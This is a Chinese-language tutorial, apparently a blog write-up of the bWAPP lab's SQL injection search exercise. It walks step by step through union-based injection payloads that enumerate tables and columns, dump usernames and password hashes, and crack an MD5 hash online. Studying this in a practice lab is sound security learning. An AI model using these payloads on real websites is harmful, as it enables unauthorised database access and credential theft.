2.SQL Injection(Get&Search)

244 阅读3分钟

选择练习环境

image-20220830203017531

页面如下:

SQL 注入

简单尝试输入

搜索框简单输入些电影名例如iron man等,可以发现这是一个模糊查询。

假设表名是movie,搜索的字段名是tittle(仅仅是猜测,并未代表真实的就是这样,在后续中我们可以得到真实表名和字段名),可以猜测sql语句如下:

select * from movie(假设的表名) where title(假设字段名) like%s%

也就是说我们在输入框中输入的字符串会替代 s

当输入iron man时,执行以下sql语句:

select * from movie(假设的表名) where title(假设的字段名) like%iron man%

寻找注入点(搜索框输入 '

当出现以下结果时,百分之九十九点九的可能存在SQL注入漏洞

image-20220830204311927

原因是什么?

因为前端在得到字符串后传给后端,后端并没有做任何处理,仅仅是简单的sql语句拼接,导致出现如下sql语句:

select * from movie(假设的表名) where title(假设字段名) like%'%’

很明显,这个sql语句有问题('是奇数个),因此出现了语法错误。

SQL简单注入(’ or 1 = 1 #)

既然我们知道了是sql语句拼接,那我们来做坏事情(很刑哦)

image-20220830204831134

为什么输入这个语句?

将’ or 1 = 1 #放入我们之前猜测的sql语句中:#字符是注释字符,意思是将后面的sql语句注释掉。

select * from movie(假设的表名) where title(假设字段名) like%or 1 = 1 # %

因此,通过该sql可以查询该movie表中所有的内容。

多语句SQL注入

有小聪明就想问既然是简单拼接,那么我直接搞个分号,再加一条自己编写的sql语句变成如下:

select * from movie(假设的表名) where title(假设字段名) like%’; \n(此处代表换行)
select * from user(假设的表名) #

这样我们不就可以获得了用户表的所有信息了?

这样是不行的。一般数据库设置中默认禁止了多条语句查询

SQL进阶注入(union select 1,2,3,...)

union select可以理解为一条sql语句充当了多条sql语句的作用。

我们输入**' union select 1 #**,拼接成如下如下sql语句:

select * from movie(假设的表名) where title(假设字段名) like%' union select 1 #

出现报错,这教我们的人是不是不太聪明?

翻译一下错误报告:列名的数量不对,那我们多加几个数字上去。

image-20220830222053329

多次尝试,直到输入**’ union select 1,2,3 ,4,5,6,7 #**时:

image-20220830222959060

从结果来推测movie这张表的字段名可能是

1-id(大概率) 2-title 3-release 4-genre 5-character 6-未知 7-未知 

简单SQL函数注入(database(), user())

将数字变成**' union select 1,database(),3 ,4,user(),6,7 #**

image-20220830224043977

可以得到该数据库名称bWAPP

复杂SQL函数注入

得到所有的表名

select table_name from information_schema.tables where table_schema=database()

因此输入

' union select 1,database(),3,4,table_name,6,7 from information_schema.tables where table_schema=database() #

image-20220830225445909

得到了所有的表名

blog heroes movies users visitors

得到所有的字段名

身为一个黑客,我们肯定要破解的是用户表中的信息,并且在上次操作中我们得到用户表的表名是users

**select column_name from information_schema.columns where table_name ='users' **

因此输入

' union select 1,database(),3,4,column_name,6,7 from information_schema.columns where table_name='users' and table_schema=database() #

image-20220830232726434

综合信息解决问题

最后该怎么得到login和password的值呢?

整理信息,发现我们得到了以下信息:

数据库名: 	bWAPP
数据表名: 	blog heroes movies users visitors
users字段: id login password email ...

select login, password from users 你不会想不到吧

' union select 1,login,3,4,password,6,7 from users #

image-20220830233154412

最后得到的就是账号名为A.I.M. 和密码是看不懂的一通数字。

通过使用md5撞库在线网站cmd5.com/输入其对应的值,可以得…

image-20220830233355973

账号: A.I.M.
密码: bug